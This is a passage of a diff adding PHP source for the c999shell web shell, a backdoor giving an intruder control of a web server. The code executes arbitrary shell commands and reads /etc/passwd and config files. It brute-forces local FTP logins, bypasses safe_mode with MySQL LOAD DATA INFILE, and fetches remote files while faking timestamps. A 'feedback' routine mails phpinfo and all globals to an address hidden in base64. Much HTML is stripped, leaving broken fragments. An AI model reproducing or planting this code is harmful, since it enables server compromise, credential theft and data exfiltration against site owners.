    "; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("

    ".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "
    "; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo ""; + $i++; + } + echo "
    FieldTypeFunctionValue
    ".htmlspecialchars($name)."".$field["Type"]."

    "; + echo "Insert as new row"; + if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";} + echo "

    "; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "
    "; + echo "\"Pages\" "; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "
    ";} + else {echo " ";} + } + if ($i == 0) {echo "empty";} + echo "
    From:  To:  
    "; + echo "
    "; + echo ""; + echo ""; + for ($i=0;$i"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "".$v."";} + else {echo "".$v."\"".$m."\"";} + echo ""; + } + echo ""; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo ""; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo ""; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "NULL";} + echo ""; + $i++; + } + echo ""; + echo ""; + } + mysql_free_result($result); + echo "
    Action
    ".$v.""; + echo "\"Delete\" "; + echo "\"Edit\" "; + echo "

     

    "; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "
    "; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + $i++; + } + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo "
    Table
    RowsTypeCreatedModifiedSizeAction
     ".$row["Name"]." ".$row["Rows"]."".$row["Type"]."".$row["Create_time"]."".$row["Update_time"]."".$size." \"Empty\"  \"Drop\" \"Insert\" 
    »
    ".$i." table(s)
    ".$trows."".$row[1]."".$row[10]."".$row[11]."".view_size($tsize)."

     

    "; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?>
    Create new DB:
     
    View File:
     
    "; + if ($sql_act == "newdb") + { + echo ""; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    ";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason:
    ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "
    Server-status variables:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "
    Server variables:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen.";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "
    Processes:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "";} + echo "
    IDUSERHOSTDBCOMMANDTIMESTATEINFOAction
    ".$row[0]."".$row[1]."".$row[2]."".$row[3]."".$row[4]."".$row[5]."".$row[6]."".$row[7]."Kill
    "; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "Error in reading file (permision denied)!";} + else + { + for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!
    ";} + else {echo "File \"".$sql_getfile."\":
    ".nl2br(htmlspecialchars($f))."
    ";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "
    "; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "
    Affected rows: ".$affected."
    "; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": object alredy exists";} + elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": access denied";} + echo "

    "; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "Ftp Quick brute:
    "; + if (!win) {echo "This functions not work in Windows!

    ";} + else + { + function c999ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\".
    "; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c999shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c999ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"
    "; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "
    Done!
    Total time (secs.): ".$ftpquick_t."
    Total connections: ".$i."
    Success.: ".$success."
    Unsuccess.:".($i-$success)."
    Connects per second: ".round($i/$ftpquick_t,2)."
    "; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c999shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c999sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "

    Read first:

    Users only with shell? 

    Logging? 
    Logging to file? 
    Logging to e-mail? 

    "; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "
    Permision denied!
    ";} + else + { + echo "Directory information:"; + if (!$win) + { + echo "
    Owner/Group "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "
    Perms".view_perms_color($d)."
    Create time ".date("d/m/Y H:i:s",filectime($d))."
    Access time ".date("d/m/Y H:i:s",fileatime($d))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."

    "; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c999shexit();} +if ($act == "security") +{ + echo "
    Server security information:
    Open base dir: ".$hopenbasedir."
    "; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "*nix /etc/passwd:
    "; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "
    From:  To:  

    "; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "".$uid["dir"].""; + echo join(":",$uid)."
    "; + } + $i++; + } + } + else {echo "
    Get /etc/passwd
    ";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.")
    ";} + else {echo "You can crack winnt passwords. Download, and use lcp.crack+ ©.
    ";} + } + if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs
    ";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs
    ";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf)
    ";} + if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf)
    ";} + if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf)
    ";} + if (file_get_contents("/etc/motd")) {echo "Message Of The Day
    ";} + if (file_get_contents("/etc/hosts")) {echo "Hosts
    ";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)."
    ";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\": object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\": access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "
    Encoder:
    Input:




    Hashes:
    "; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." -
    "; + } + echo "
    Url:

    urlencode - +
    urldecode - +
    Base64:
    base64_encode -
    "; + echo "
    base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "";} + else {$rows++; echo "";} + echo " ^"; + } + echo "

    Base convertations:
    dec2hex -
    "; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "
    Buffer is empty!
    ";} + else {echo "File-System buffer

    "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c999shell v.".$shver."!"; c999shexit(); } + else {echo "
    Can't delete ".__FILE__."!
    ";} + } + else + { + if (!empty($rndcode)) {echo "Error: incorrect confimation!";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "
    Self-remove: ".__FILE__."
    Are you sure?
    For confirmation, enter \"".$rnd."\"
     "; + } +} +if ($act == "update") {$ret = c999sh_getupdate(!!$confirmupdate); echo "".$ret.""; if (stristr($ret,"new version")) {echo "

    ";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c999shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c999shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "
    Thanks for your feedback! Your ticket ID: ".$ticket.".
    "; + } + else {echo "
    Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):

    Your name:

    Your e-mail:

    Message:


    Attach server-info *

    There are no checking in the form.

    * - strongly recommended, if you report bug, because we need it for bug-fix.

    We understand languages: English, Russian.

    ";} +} +if ($act == "search") +{ + echo "Search in file-system:
    "; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c999fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "No files found!";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "
    + +Search for (file/folder name):   - regexp +
    Search in (explode \";\"): +

    Text:
    +

    - regexp +   - whole words only +   - case sensitive +   - find files NOT containing the text +

    "; + if ($act == "ls") {$dspact = $act; echo "
    Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).

    ";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "Change file-mode with error: can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
    ".($err?"Error: ".$err:"")."
    Owner

     Read
     Write
    eXecute
    Group

     Read
     Write
    eXecute
    World

     Read
     Write
    eXecute
    "; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!
    ";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url!
    ";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!
    ";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!
    ";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "".$uploadmess.""; + $act = "ls"; + } + else + { + echo "File upload:
    ".$uploadmess."
    +Select file on your local computer:
                   or
    +Input URL:

    +Save this file dir:

    +File-name (auto-fill):

    + convert file name to lovercase

    + +
    "; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."
    ";} + } + if (!empty($delerr)) {echo "Deleting with errors:
    ".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "
    Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.
    ";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c999_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c999_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c999_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c999_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} + unset($sess_data["cut"][$k]); + } + c999_sess_put($sess_data); + if (!empty($psterr)) {echo "Pasting with errors:
    ".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!
    ";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c999_sess_put($sess_data); + if (!empty($arcerr)) {echo "Archivation errors:
    ".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} + unset($sess_data["cut"][$k]); + } + c999_sess_put($sess_data); + if (!empty($psterr)) {echo "Pasting with errors:
    ".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "Result of execution this command:
    "; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "
    "; + } + else {echo $ret."
    ";} + @chdir($olddir); + } + else {echo "Execution command"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "


     Display in text-area 
    "; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "
    Can't open folder (".htmlspecialchars($d).")!
    ";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "Name"; + $row[] = "Size"; + $row[] = "Modify"; + if (!$win) + {$row[] = "Owner/Group";} + $row[] = "Perms"; + $row[] = "Action"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = ""; + $y .= "\"".($parsesort[1]"; + $row[$k] .= $y; + for($i=0;$i".$row[$i]."";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath."";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath."";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c999shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = ""; $r[3] = "";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = " ".$o.""; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = " ".$o.""; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = " [".$disppath."]"; + } + else + { + $type = "DIR"; + $row[] = " [".$disppath."]"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = " ".$disppath.""; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "".view_perms_color($v).""; + if ($o == ".") {$checkbox = ""; $i--;} + else {$checkbox = "";} + if (is_dir($v)) {$row[] = "\"Info\" ".$checkbox;} + else {$row[] = "\"Info\" \"Change\" \"Download\" ".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "
    Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):

    "; + foreach($table as $row) + { + echo "\r\n"; + foreach($row as $v) {echo "\r\n";} + echo "\r\n"; + } + echo "
    ".$v."

    + +    + "; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "                   "; + } + echo " 

